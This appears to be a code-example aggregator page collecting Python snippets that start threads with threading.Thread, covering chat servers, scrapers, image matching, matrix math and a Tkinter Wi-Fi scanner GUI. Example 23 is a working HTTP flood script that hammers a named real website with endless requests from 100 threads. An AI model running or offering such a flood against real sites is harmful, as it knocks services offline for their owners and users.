Ejemplo n.º 1
0
def run():
    while True:
        c, addr = server.accept()
        print(f"{addr}: has connected.")
        c.send(b"Enter a username: ")
        addresses[c] = addr
        th(target=handleMsg, args=(c, )).start()
Ejemplo n.º 2
0
def fx_use_multithreading(*fx):
    """
    x = fx_use_multithreading(fx1,fx2)
    """
    max_thread = 5
    complete_thread_call_list = []
    Queue_thread_call_list = []
    cnt = 0
    for v_fx in fx:
        cnt += 1
        thread_name = 'master_thread_execution.' + str(cnt) + '.' + str(v_fx)
        thread_call = th(name=thread_name, target=v_fx)
        complete_thread_call_list.append(thread_call)
    cnt = 0

    if max_thread > len(complete_thread_call_list):
        max_thread = len(complete_thread_call_list)

    for x in complete_thread_call_list:
        next_run = True
        cnt += 1
        Queue_thread_call_list.append(x)
        if ((len(Queue_thread_call_list) < max_thread) and (cnt < len(complete_thread_call_list))):
            next_run = False

        if next_run == True:
            for t in Queue_thread_call_list:
                t.start()
            for t in Queue_thread_call_list:
                t.join()
            del Queue_thread_call_list[:]
Ejemplo n.º 3
0
    def setTimeout(self, seconds, fn, *args):

        t = th(target=fn, args=(args))
        #self.time(seconds)
        time.sleep(seconds)
        t.start()
        del (t)
Ejemplo n.º 4
0
def check_match():

    list_temp_images = os.listdir(
        os.path.join(os.getcwd(), template_image_dir_name))
    colors.success("Template image list grabbed.")
    list_search_images = os.listdir(
        os.path.join(os.getcwd(), target_images_dir_name))
    colors.success("Search images list grabbed")
    print("\n{}\
        ----------------------------------------------------------------------\
        {}".format(colors.red, colors.green))
    print("\n\t {}:: Similar images found are :: \n".format(colors.lightgreen))

    image_thread_process = []

    for path in list_search_images:
        image_thread_process.append(
            th(target=thread_checker, args=(
                path,
                list_temp_images,
            )))

    for process in image_thread_process:
        process.start()

    for process in image_thread_process:
        process.join()

    colors.success("Threading function completed")
Ejemplo n.º 5
0
 def __init__(self):
     Page.__init__(self)
     try:
         th1 = th(target=self.inotify_th, name='inotify_th')
         th1.daemon = True
         th1.start()
     except Exception, e:
         print >> sys.stderr, e
Ejemplo n.º 6
0
    def downloadAll(self, li, indexs):
        """传入一个列表 下载列表中的所有链接
        li:列表
        indexs:文件名表
        """
        if len(li) < len(indexs):
            raise Exception("错误!长度不匹配")

        for link, index in zip(li, indexs):
            # 对每个图片的下载创建一个线程
            tempth = th(target=Downloader.download, args=(link, index))
            tempth.start()
Ejemplo n.º 7
0
 def __init__(self):
     Page.__init__(self)
     try:
         for t in threading.enumerate():
             print >> sys.stderr, t.name
             #print >> sys.stderr, dir(t)
         print >> sys.stderr, threading.currentThread().name
         th1 = th(target=self.inotify_th, name='inotify_th')
         th1.daemon = True
         th1.start()
         print >> sys.stderr, threading.enumerate()
     except Exception, e:
         print >> sys.stderr, e
Ejemplo n.º 8
0
def main():
    print(dir(th))

    for item in dir(th):
        print(item, type(item))

    # target - функция, которая определяет поведение потока
    # args - список аргументов
    # var = th(target = function_name, args = (arg1, arg2,))

    thr_1 = th(target=prescript, args=('f1.txt', 10, 1.3))
    thr_2 = th(target=prescript, args=('f2.txt', 10, 2))
    thr_3 = th(target=prescript, args=('f3.txt', 10, 3))

    thr_1.start()
    thr_2.start()
    thr_3.start()

    thr_1.join()
    thr_2.join()
    thr_3.join()

    print('End of program')
Ejemplo n.º 9
0
def template_images(temp_image):

    template_image_dir_path = os.path.join(os.getcwd(),
                                           template_image_dir_name)
    print(template_image_dir_path)
    try:
        if os.path.isdir(template_image_dir_name):
            colors.info('Template image sections folder already exists.')
        else:
            os.mkdir(template_image_dir_path)
            colors.success('Template image sections folder created.')
    except OSError:
        colors.error('Permission denied at {}:\
            Cannot create template image sections folder'.format(
            template_image_dir_path))
        exit(1)

    os.chdir(os.path.join(os.getcwd(), template_image_dir_name))
    colors.success('Directory set to new location ')

    # Loading Template image.
    colors.success('Image read into memory')

    x = y = 0
    width = [160, 320, 480, 640]
    height = [160, 320, 480]
    count = 0
    template_thread_process = []

    for h in height:
        for w in width:
            template_thread_process.append(
                th(target=thread_breaker,
                   args=(x, y, h, w, temp_image, count)))
            x = w
            count += 1
        x = 0
        y = h

    for process in template_thread_process:
        process.start()

    for process in template_thread_process:
        process.join()
Ejemplo n.º 10
0
    def catchOne(self):
        """
        抓取一个目录页面
        """
        nowurl = self.nowPageURL
        text = req.get(nowurl)
        text.encoding = "cp936"
        text = text.text
        # 解析
        names, links = self.parseList()
        for n, l in zip(names, links):
            #n为子目录名字
            #l为子页面链接
            print("抓取:%s\n" % n)
            #遇到不存在的目录就创建 如果不是更新模式 就直接在已有的目录里放文件 即假设目录为空
            #如果是更新模式 则遇到已有的目录就认为更新已经结束 则直接抛出EndException
            if not (n in os.listdir(self.basedir)):
                os.mkdir(self.basedir + n)
            elif self.update_mod:
                #如果是更新模式 则遇到目录n已经存在的情况 就直接跳过
                # continue
                # 改变策略 如果是更新模式 就直接抛出“更新已经结束的exception 因为遇到已经存在的 表示更新已经到了末尾
                raise EndException()
            nowdir = str.format("{}{}/", self.basedir, n)
            #通过nowdir和l来抓取
            #如果一页内容直接加载错误 即在catchPage中出错 则在这里处理
            #如果是在catchContent里出错可能需要自己显示一些信息
            try:
                if not self.ismultithread:
                    #不使用
                    self.catchPage(nowdir, l)
                else:
                    #使用多线程 抓取每一内容页的内容
                    tempth = th(target=self.catchPage, args=(nowdir, l))
                    tempth.start()

            except:
                #因为有可能出现某一页不能加载 所以这里拦截
                print("一页加载错误!\n")
Ejemplo n.º 11
0
 def setInterval(self, sec, fn, *args):
     t = th(target=fn, args=(args))
     time.sleep(sec)
     t.start()
     self.setInterval(sec, fn, *args)
Ejemplo n.º 12
0
  
if __name__ == "__main__":
  print("---------------Producto de Matrices--------------")
  print("(M*n) * (N*p)")
  generarMatrices()
  threads = []
  A = np.loadtxt("loadMatrizA.txt",skiprows=0,delimiter=None,dtype=float)
  B = np.loadtxt("loadMatrizB.txt",skiprows=0,delimiter=None,dtype=float)
  C = np.zeros((A.shape[0],B.shape[1]),dtype=float)
  Bt = np.array((B.shape[1],B.shape[0]),dtype=float)
  Bt = B.T
  for i in range(4):
    ini = int(i*25)
    fin = int(ini+25)
    t = th(target = ejec_hilo, args = (A,Bt,C,ini,fin))
    threads.append(t)
    t.start()
    t.join()
  print(C)
    
    
    
    
    
    
    
    
  
  
  
Ejemplo n.º 13
0
def whiler():
    while True:
        t = th(target=get_meta_data_db)
        t.start()
        time.sleep(60)
        print('metadata updated!!!')
Ejemplo n.º 14
0
from vanilla.uix._ import providers
import json, time
from threading import Thread as th


def get_meta_data_db():
    meta_data = providers()
    with open('metadata_db.json', 'w') as outfile:
        json.dump(meta_data, outfile)


def whiler():
    while True:
        t = th(target=get_meta_data_db)
        t.start()
        time.sleep(60)
        print('metadata updated!!!')


h = th(target=whiler)
h.start()
Ejemplo n.º 15
0
# convert wav to mp3
sound = AudioSegment.from_mp3(src)
sound.export(dst, format="wav")

sound2 = AudioSegment.from_file("aa.mp4", "mp4")
sound2.export(dst, format="wav")

r = sr.Recognizer()


def t1():
    cou = 1
    while True:
        cou += 1

        with sr.AudioFile('test.wav') as source:
            audio2 = r.record(source)
        print(r.recognize_google(audio2, language='fa'))
        print(cou)


t = th(target=t1)
t.start()

t2 = th(target=t1)
t2.start()

t3 = th(target=t1)
t3.start()
Ejemplo n.º 16
0
Archivo: Funcs.py Proyecto: jgdml/snek
def restartWindow():
    th(target=newWindow).start()
    sleep(0.2)
    jogoSair()
Ejemplo n.º 17
0
            # Record statuses
            db.add(status)
            # Send last status to server:
            if queue.full(): queue.get()
            queue.put(status)
            sleep(SCAN_INTERVAL)
        # Record statuses
        db.write(miner_settings['db_file'])


try:
    config_filename = argv[1]
    if not isfile(config_filename): raise IndexError
except IndexError:
    config_filename = 'miner_monitor.conf'  # Default

global_settings = get_config(config_filename)

queue_list = []

for miner in global_settings['miners']:
    db = StatusDB()
    dbfilename = global_settings['miners'][miner]['db_file']
    if isfile(dbfilename): db.read(dbfilename)
    q = Queue(3)
    queue_list.append(q)
    th(target=monitor, args=(q, db, global_settings['miners'][miner])).start()

run_server(global_settings['server_ip'], global_settings['server_port'],
           queue_list)
Ejemplo n.º 18
0
from os import _exit
from time import sleep
from threading import Thread as th
from Arqs.LoadGame import render, relogio, keyPress, engine, telaInicial, telaMenu, checkScore
from Arqs.User import checkSessao, jogoSair
from Arqs.Funcs import event

if checkSessao() != True:
    telaInicial()

telaMenu()

## pegar o diretorio do arquivo

## iniciando a funçao render numa thread separada pra n ficar td junto
th(target=render).start()

while(True):
    
    checkScore()

    ## se tiver eventos acontecendo ele vai pegar o evento
    for eventos in engine.event.get():
    
        ## ai ele vai ver a categoria/tipo do evento
        if eventos.type == engine.KEYDOWN:
            
            ## quando o evento é tecla pressionada
            ## ele manda a tecla pra uma funçao q vai ver qual tecla
            ## q o cara aperto
            if keyPress(eventos.key) == "esc":
Ejemplo n.º 19
0
    def __init__(self, top=None):
        self.top = top
        '''This class configures and populates the toplevel window.
           top is the toplevel containing window.'''
        _bgcolor = '#d9d9d9'  # X11 color: 'gray85'
        _fgcolor = '#000000'  # X11 color: 'black'
        _compcolor = '#d9d9d9'  # X11 color: 'gray85'
        _ana1color = '#d9d9d9'  # X11 color: 'gray85'
        _ana2color = '#d9d9d9'  # X11 color: 'gray85'
        font10 = "-family {URW Gothic L} -size 10 -weight normal "  \
            "-slant italic -underline 0 -overstrike 0"
        font11 = "-family {URW Gothic L} -size 12 -weight bold "  \
            "-slant italic -underline 0 -overstrike 0"
        font9 = "-family FreeMono -size 24 -weight bold -slant roman "  \
            "-underline 0 -overstrike 0"

        #Definicao das cores dos canais que serão mostrados no gráfico. Faremos definicoes somente para os 3 canais principais: 1, 6 e 11
        #Canal 1 - Azul
        Azul1 = '#191970'
        #Canal 6 - Verde
        Verde1 = '#b22228'
        #Canal 11 - Vermelho
        Vermelho1 = '#800000'
        #Outros canais - Preto

        self.style = ttk.Style()
        if sys.platform == "win32":
            self.style.theme_use('winnative')
        self.style.configure('.', background=_bgcolor)
        self.style.configure('.', foreground=_fgcolor)
        self.style.configure('.', font="TkDefaultFont")
        self.style.map('.',
                       background=[('selected', _compcolor),
                                   ('active', _ana2color)])

        ###################################################

        # Configuracoes da janela top level

        self.largura_tela = self.top.winfo_screenwidth(
        )  # pega o valor da largura da tela
        self.altura_tela = self.top.winfo_screenheight(
        )  # pega o valor da altura da tela
        self.top.geometry(
            '%sx%s' % (self.largura_tela, self.altura_tela)
        )  # define o tamanho da janela toplevel para o tamanho maximo da tela do computador

        self.top.title("WiFind")  # titulo da janela top level

        # Configuracoes do menu superior da janela principal

        self.menubar = tk.Menu(self.top,
                               font="TkMenuFont",
                               bg=_bgcolor,
                               fg=_fgcolor)
        self.top.configure(menu=self.menubar)

        self.opcoes = tk.Menu(self.top, tearoff=0)
        self.menubar.add_cascade(menu=self.opcoes,
                                 activebackground="#d9d9d9",
                                 activeforeground="#000000",
                                 background="#d9d9d9",
                                 font="TkMenuFont",
                                 foreground="#000000",
                                 label="Opções")
        self.opcoes.add_command(activebackground="#d8d8d8",
                                activeforeground="#000000",
                                background="#d9d9d9",
                                font="TkMenuFont",
                                foreground="#000000",
                                label="Gerar Relatório em PDF",
                                command=self.gerarPDF)
        self.ajuda = tk.Menu(self.top, tearoff=0)
        self.menubar.add_cascade(menu=self.ajuda,
                                 activebackground="#d9d9d9",
                                 activeforeground="#000000",
                                 background="#d9d9d9",
                                 font="TkMenuFont",
                                 foreground="#000000",
                                 label="Ajuda")
        self.ajuda.add_command(activebackground="#d8d8d8",
                               activeforeground="#000000",
                               background="#d9d9d9",
                               font="TkMenuFont",
                               foreground="#000000",
                               label="Sobre",
                               command=self.abre_sobre)
        self.ajuda.add_command(
            activebackground="#d8d8d8",
            activeforeground="#000000",
            background="#d9d9d9",
            #command=teste_tela4_support,
            font="TkMenuFont",
            foreground="#000000",
            label="Como Usar",
            command=self.abre_comousar)

        #############################################################

        # Configuracoes do container onde serao colocadas as abas que mostrarao os graficos
        # O container eh uma TNotebook.Tab e vamos chama-lo aqui de Container_Abas

        ###
        # Define o estilo do Container_Abas
        self.style.configure('TNotebook.Tab', background=_bgcolor)
        self.style.configure('TNotebook.Tab', foreground=_fgcolor)
        self.style.map('TNotebook.Tab',
                       background=[('selected', _compcolor),
                                   ('active', _ana2color)])
        ###

        ###
        # Criacao do Container_Abas
        self.Container_Abas = ttk.Notebook(
            self.top
        )  # Criado como um Notebook. Como podemos ver, esse widget Notebook nao e padrao do Tkinter. Ele eh importado de uma biblioteca chamada ttk
        self.Container_Abas.place(
            relx=0.2, rely=0.0, relheight=1.0, relwidth=0.8
        )  # Algumas propriedades graficas: relx nos diz a posicao horizontal na qual o container sera colocado em relacao ao seu mestre, no caso, top. As outras configuracoes sao intuitivas
        self.Container_Abas.configure(takefocus="")
        ###

        #############################################################
        # Vamos agora alterar as configuracoes dos frames que serao criados para mostrar o conteudo de cada aba. As abas sao duas: Aba_SSID e Aba_Geral

        # Vamos comecar pela Aba_SSID e definiremos todas as configuracoes e widgets dentro dele

        self.Aba_SSID = tk.Frame(self.Container_Abas)  # Criacao do Frame
        self.Aba_SSID.configure(
            background="#666666")  # Definicao do plano de fundo cinza
        self.Container_Abas.add(
            self.Aba_SSID,
            padding=3)  # Adicionando ele como aba do Container_Abas
        self.Container_Abas.tab(
            0,
            text="Scan por SSID",
            underline="-1",
        )  # Definindo o nome que aparecera no topo da aba para selecao

        # Criacao do canvas onde sera mostrado o grafico
        # Utilizamos a biblioteca do matplotlib para mostrar um grafico que sera atualizado em tempo real.
        # Primeiro criamos uma figura onde o grafico sera mostrado

        self.Figura_SSID = Figure(
            figsize=(10, 8),
            dpi=100)  # criacao da figura e suas caracteristicas
        self.Grafico_SSID = self.Figura_SSID.add_subplot(
            111
        )  # adicao do grafico em forma de subplot. Todos os metodos sao diferentes e podem ser acessados no link: https://matplotlib.org/api/axes_api.html

        # Criacao do Canvas_SSID, onde sera colocada a figura do grafico
        self.Canvas_SSID = FigureCanvasTkAgg(self.Figura_SSID, self.Aba_SSID)
        self.Canvas_SSID.show()
        self.Canvas_SSIDMAT = self.Canvas_SSID.get_tk_widget()
        self.Canvas_SSIDMAT.place(relx=0.05,
                                  rely=0.1,
                                  relheight=0.85,
                                  relwidth=0.9)
        self.Canvas_SSIDMAT.configure(background="white")
        self.Canvas_SSIDMAT.configure(borderwidth="2")
        self.Canvas_SSIDMAT.configure(relief=tk.RIDGE)
        self.Canvas_SSIDMAT.configure(selectbackground="#c4c4c4")
        self.Canvas_SSIDMAT.configure(takefocus="0")
        self.Canvas_SSIDMAT.configure(width=744)
        self.decisao_ssid = 0
        self.ani_ssid = animation.FuncAnimation(self.Figura_SSID,
                                                self.animate_ssid,
                                                interval=500)

        #############################################################

        self.DICSSIDs = {}
        self.executathread = True
        self.threadalimenta = th(target=self.alimentalista)
        self.threadalimenta.start()

        ### Script que gera o dropdown lsit com os tSSIDs encontrados
        # Tambem armazena na variavel self.variable qual o valor escolhido na lista

        self.variable = tk.StringVar(self.top)
        self.variable.set('-')  # default value
        self.dropdownSSID = ttk.Combobox(self.Aba_SSID,
                                         textvariable=self.variable,
                                         state="readonly",
                                         values=self.DICSSIDs.keys())
        self.dropdownSSID.place(relx=0.1,
                                rely=0.05,
                                relheight=0.04,
                                relwidth=0.3)

        ######################################################

        # Label (Texto) indicando para o usuario escolher o SSID
        self.Label_EscolherSSID = tk.Label(self.Aba_SSID)
        self.Label_EscolherSSID.place(relx=0.1,
                                      rely=0.008,
                                      relheight=0.04,
                                      relwidth=0.3)
        self.Label_EscolherSSID.configure(activebackground="#666666")
        self.Label_EscolherSSID.configure(background="#666666")
        self.Label_EscolherSSID.configure(foreground="white")
        self.Label_EscolherSSID.configure(text='''Escolha o SSID:''')

        # Botao Plotar na aba Scan por SSID
        self.Imagem_BotaoSSID = ImageTk.PhotoImage(
            file="./button_plotar.ico")  # imagem do botao Plotar
        self.Button_PlotarSSID = tk.Button(
            self.Aba_SSID,
            image=self.Imagem_BotaoSSID,
            justify=tk.LEFT,
            command=lambda arg1="Button_PlotarSSID", arg2=1, arg3=
            "Opcao por SSID escolhida!": self.buttonHandler(arg1, arg2, arg3)
        )  # Faz a imagem aparecer no lugar do botao Plotar. No caso, o botao eh a propria imagem
        self.Button_PlotarSSID.place(relx=0.4, rely=0.03, relwidth=0.2)
        # Para fazer com que soh a imgagem seja vista, precisamos colocar o botao com borda nula, e cor de fundo igual a cor de fundo do container onde ele esta
        self.Button_PlotarSSID.configure(activebackground="#666666")
        self.Button_PlotarSSID.configure(background="#666666")
        self.Button_PlotarSSID.configure(disabledforeground="#666666")
        self.Button_PlotarSSID.configure(highlightbackground="#666666")
        self.Button_PlotarSSID.configure(bd=0)

        ###
        # Agora Aba_Geral
        self.Aba_Geral = tk.Frame(
            self.Container_Abas,
            background="#666666",
        )
        self.Container_Abas.add(self.Aba_Geral, padding=3)
        self.Container_Abas.tab(
            1,
            text="Scan Geral",
            underline="-1",
        )

        self.Figura_Geral = Figure(
            figsize=(10, 8),
            dpi=100)  # criacao da figura e suas caracteristicas
        self.Grafico_Geral = self.Figura_Geral.add_subplot(
            111)  # adicao do grafico

        # Criacao do Canvas_Geral, onde sera colocada a figura do grafico
        self.Canvas_Geral = FigureCanvasTkAgg(self.Figura_Geral,
                                              self.Aba_Geral)
        self.Canvas_Geral.show()
        self.Canvas_GeralMAT = self.Canvas_Geral.get_tk_widget()
        self.Canvas_GeralMAT.place(relx=0.05,
                                   rely=0.1,
                                   relheight=0.85,
                                   relwidth=0.9)
        self.Canvas_GeralMAT.configure(background="white")
        self.Canvas_GeralMAT.configure(borderwidth="2")
        self.Canvas_GeralMAT.configure(relief=tk.RIDGE)
        self.Canvas_GeralMAT.configure(selectbackground="#c4c4c4")
        self.Canvas_GeralMAT.configure(takefocus="0")
        self.Canvas_GeralMAT.configure(width=744)
        self.decisao_geral = 0
        self.ani_geral = animation.FuncAnimation(self.Figura_Geral,
                                                 self.animate_geral,
                                                 interval=500)

        # Botao Plotar na aba Scan GEral
        self.Imagem_BotaoGeral = ImageTk.PhotoImage(
            file="./button_plotar.ico")  # imagem do botao Plotar
        self.Button_PlotarGeral = tk.Button(
            self.Aba_Geral,
            image=self.Imagem_BotaoGeral,
            justify=tk.LEFT,
            command=lambda arg1="Button_PlotarGeral", arg2=1, arg3=
            "Opcao Todos os SSIDs escolhida!": self.buttonHandler(
                arg1, arg2, arg3)
        )  # Faz a imagem aparecer no lugar do botao Plotar. No caso, o botao eh a propria imagem
        self.Button_PlotarGeral.place(relx=0.4, rely=0.03, relwidth=0.2)
        # Para fazer com que soh a imgagem seja vista, precisamos colocar o botao com borda nula, e cor de fundo igual a cor de fundo do container onde ele estah
        self.Button_PlotarGeral.configure(activebackground="#666666")
        self.Button_PlotarGeral.configure(background="#666666")
        self.Button_PlotarGeral.configure(disabledforeground="#666666")
        self.Button_PlotarGeral.configure(highlightbackground="#666666")
        self.Button_PlotarGeral.configure(bd=0)

        ###
        # Criacao do Frame onde vamos colocar o titulo e os autores

        self.Frame_Titulo = tk.Frame(self.top)  # criando frame
        self.Frame_Titulo.place(relx=0.0,
                                rely=0.0,
                                relheight=1.0,
                                relwidth=0.2)  # dimensoes
        self.Frame_Titulo.configure(relief=tk.GROOVE)
        self.Frame_Titulo.configure(borderwidth="2")
        self.Frame_Titulo.configure(background="#ffbd4a")

        # Craicao do label do titulo do software
        self.Label_TituloSoftware = tk.Label(self.Frame_Titulo)
        self.Label_TituloSoftware.place(relx=0.0,
                                        rely=0.0,
                                        relheight=0.1,
                                        relwidth=1)
        self.Label_TituloSoftware.configure(activebackground="#c84351")
        self.Label_TituloSoftware.configure(activeforeground="white")
        self.Label_TituloSoftware.configure(background="#ffbd4a")
        self.Label_TituloSoftware.configure(foreground="white")
        self.Label_TituloSoftware.configure(font=font9)
        self.Label_TituloSoftware.configure(text='''WiFind''')

        # Criacao do label dos autores do software
        self.Label_Autores = tk.Label(self.Frame_Titulo)
        self.Label_Autores.place(relx=0.0, rely=0.9, relheight=0.1, relwidth=1)
        self.Label_Autores.configure(activebackground="#c84351")
        self.Label_Autores.configure(activeforeground="white")
        self.Label_Autores.configure(background="#ffbd4a")
        self.Label_Autores.configure(foreground="black")
        self.Label_Autores.configure(font=font10)
        self.Label_Autores.configure(
            text='''Por Bruno Pacheco e Gentil Gomes''')

        #Frames e Labels dos canais
        # Craicao do label do titulo dos Canais
        self.Label_Descricao = tk.Label(self.Frame_Titulo)
        self.Label_Descricao.place(relx=0.1,
                                   rely=0.64,
                                   relheight=0.04,
                                   relwidth=0.8)
        self.Label_Descricao.configure(activebackground="#c84351")
        self.Label_Descricao.configure(activeforeground="black")
        self.Label_Descricao.configure(background="#ffbd4a")
        self.Label_Descricao.configure(foreground="black")
        self.Label_Descricao.configure(font=font11)
        self.Label_Descricao.configure(text='''Legenda de Canais''')

        self.Frame_Canal1 = tk.Frame(self.Frame_Titulo)
        self.Frame_Canal1.place(relx=0.04,
                                rely=0.70,
                                relheight=0.04,
                                relwidth=0.1)
        self.Frame_Canal1.configure(relief=tk.RAISED)
        self.Frame_Canal1.configure(borderwidth="2")
        self.Frame_Canal1.configure(relief=tk.RAISED)
        self.Frame_Canal1.configure(background="red")
        self.Frame_Canal1.configure(width=45)

        self.Label_Canal1 = tk.Label(self.Frame_Titulo)
        self.Label_Canal1.place(relx=0.14,
                                rely=0.70,
                                relheight=0.04,
                                relwidth=0.3)
        self.Label_Canal1.configure(background="#ffbd4a")
        self.Label_Canal1.configure(foreground="black")
        self.Label_Canal1.configure(font=font10)
        self.Label_Canal1.configure(justify=tk.LEFT)
        self.Label_Canal1.configure(text='Canal 1')

        self.Frame_Canal6 = tk.Frame(self.Frame_Titulo)
        self.Frame_Canal6.place(relx=0.04,
                                rely=0.76,
                                relheight=0.04,
                                relwidth=0.1)
        self.Frame_Canal6.configure(relief=tk.RAISED)
        self.Frame_Canal6.configure(borderwidth="2")
        self.Frame_Canal6.configure(relief=tk.RAISED)
        self.Frame_Canal6.configure(background="blue")
        self.Frame_Canal6.configure(width=45)

        self.Label_Canal6 = tk.Label(self.Frame_Titulo)
        self.Label_Canal6.place(relx=0.14,
                                rely=0.76,
                                relheight=0.04,
                                relwidth=0.3)
        self.Label_Canal6.configure(background="#ffbd4a")
        self.Label_Canal6.configure(foreground="black")
        self.Label_Canal6.configure(font=font10)
        self.Label_Canal6.configure(justify=tk.LEFT)
        self.Label_Canal6.configure(text='Canal 6')

        self.Frame_Canal11 = tk.Frame(self.Frame_Titulo)

        self.Frame_Canal11.place(relx=0.04,
                                 rely=0.82,
                                 relheight=0.04,
                                 relwidth=0.1)
        self.Frame_Canal11.configure(relief=tk.RAISED)
        self.Frame_Canal11.configure(borderwidth="2")
        self.Frame_Canal11.configure(relief=tk.RAISED)
        self.Frame_Canal11.configure(background="green")
        self.Frame_Canal11.configure(width=45)

        self.Label_Canal11 = tk.Label(self.Frame_Titulo)

        self.Label_Canal11.place(relx=0.14,
                                 rely=0.82,
                                 relheight=0.04,
                                 relwidth=0.3)
        self.Label_Canal11.configure(background="#ffbd4a")
        self.Label_Canal11.configure(foreground="black")
        self.Label_Canal11.configure(font=font10)
        self.Label_Canal11.configure(justify=tk.LEFT)
        self.Label_Canal11.configure(text='Canal 11')

        self.Frame_OutrosCanais = tk.Frame(self.Frame_Titulo)

        self.Frame_OutrosCanais.place(relx=0.04,
                                      rely=0.88,
                                      relheight=0.04,
                                      relwidth=0.1)
        self.Frame_OutrosCanais.configure(relief=tk.RAISED)
        self.Frame_OutrosCanais.configure(borderwidth="2")
        self.Frame_OutrosCanais.configure(relief=tk.RAISED)
        self.Frame_OutrosCanais.configure(background="black")
        self.Frame_OutrosCanais.configure(width=45)

        self.Label_OutrosCanais = tk.Label(self.Frame_Titulo)

        self.Label_OutrosCanais.place(relx=0.14,
                                      rely=0.88,
                                      relheight=0.04,
                                      relwidth=0.4)
        self.Label_OutrosCanais.configure(background="#ffbd4a")
        self.Label_OutrosCanais.configure(foreground="black")
        self.Label_OutrosCanais.configure(justify=tk.LEFT)
        self.Label_OutrosCanais.configure(font=font10)
        self.Label_OutrosCanais.configure(text='Outros Canais')
Ejemplo n.º 20
0
from os import popen
from threading import Thread as th
from time import sleep


def for_loop(number, sign):
    for i in range(0, number):
        print(sign + str(i))
        sleep(0.5)


def test(test):
    print(test)


# _thread.start_new_thread ( function, args[, kwargs] )
# for thread function not whit argoman
t1 = th(target=for_loop, args=(500, " *** "))
t2 = th(target=for_loop, args=(500, " ---"))
t3 = th(target=for_loop, args=(500, "222"))
t4 = th(target=test, args=("reza", ))

t4.start()
t1.start()
t2.start()
t3.start()
Ejemplo n.º 21
0
msgSend = gui.StringVar()
msgSend.set("Type here")
# för att kunna gå tillbaka i meddelanden
scroll = gui.Scrollbar(msgsFrame)

# kommer att innehålla meddelandet
msgList = gui.Listbox(msgsFrame,
                      height=25,
                      width=60,
                      yscrollcommand=scroll.set)
scroll.pack(side=gui.RIGHT, fill=gui.Y)
msgList.pack(side=gui.LEFT, fill=gui.BOTH)
msgList.pack()
msgsFrame.pack()

entryField = gui.Entry(root, textvariable=msgSend)
entryField.bind("<Return>", handleMsg)
entryField.pack()
sendBtn = gui.Button(root, text="Send", command=handleMsg)
sendBtn.pack()

root.protocol("WM_DELETE_WINDOW", close)

#######################################################

if __name__ == "__main__":
    receiveThread = th(target=receive, daemon=True)
    receiveThread.start()
    gui.mainloop()
    receiveThread.join()
    cs.close()
Ejemplo n.º 22
0
# In[5]:

#init
global_step = 0

if phase == 'train':

    for idx in range(epoch):
        for idz in range(len(file_list) // batch_stack_num):
            #file read
            if idx == 0 and idz == 0:
                x_data, y_data = read_data(idz)

                q = Queue()
                p = th(target=read_data_th, args=(
                    q,
                    idz,
                ))
                p.start()
            else:
                x_data = q.get()
                y_data = q.get()

                q.queue.clear()
                p = th(target=read_data_th, args=(
                    q,
                    idz,
                ))
                p.start()
            #
            train_cycle = (len(y_data) //
                           LSTM_batch_size) - 1  #set train_cycle
Ejemplo n.º 23
0
from threading import Thread as th
#import requests    #very slow, includes lots of processing
import socket
import ssl  #https support


def attack():
    request = b"GET / HTTP/1.1\nHost: codetoads-in.github.io\n\n"
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    ss = ssl.wrap_socket(s)
    ss.connect(("codetoads-in.github.io", 443))
    #i=1
    while True:  #i<3:
        ss.send(request)
        ss.recv(
            1024
        )  # don't need this but in its absence the server halts the connection
        #print(r)
        #i+=1


threads = []
for i in range(100):
    threads.append(th(target=attack, args=[]))
    threads[-1].start()
    #threads[-1].join()
Ejemplo n.º 24
0
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Mon May  4 13:19:39 2020

@author: AntonioLagunasHernandez
"""

import numpy as np
from threading import Thread as th
import vecXvec as vv

if __name__ == '__main__':
    threads = []
    A = np.loadtxt('matA.dat', skiprows=0, delimiter=None, dtype=float)
    B = np.loadtxt('matB.dat', skiprows=0, delimiter=None, dtype=float)
    C = np.zeros((A.shape[0], B.shape[1]), dtype=float)
    Bt = B.T

    for i in range(4):
        ini = int(i * 25)
        fin = int(ini + 25)
        t = th(target=vv.ejec_hilo, args=(A, Bt, ini, fin))
        threads.append(t)
        t.start()
        t.join()
    print(C)
Ejemplo n.º 25
0
    users[client] = userName

    while True:
        msg = client.recv(1024)
        if msg != b"quit":
            broadcast(msg, userName + ": ")
        else:
            client.send(b"quit")

            del users[client]
            broadcast(bytes(f"{userName} has left the chat.", "utf8"))
            client.close()
            break


def broadcast(msg, ID=""):
    for each in users:
        bc = (bytes(ID, "utf8") + msg)
        each.send(bc)


#################################################################################

if __name__ == "__main__":
    server.listen()
    print("Listening ...")
    serverObj = th(target=run, daemon=True)
    serverObj.start()
    serverObj.join()
    server.close()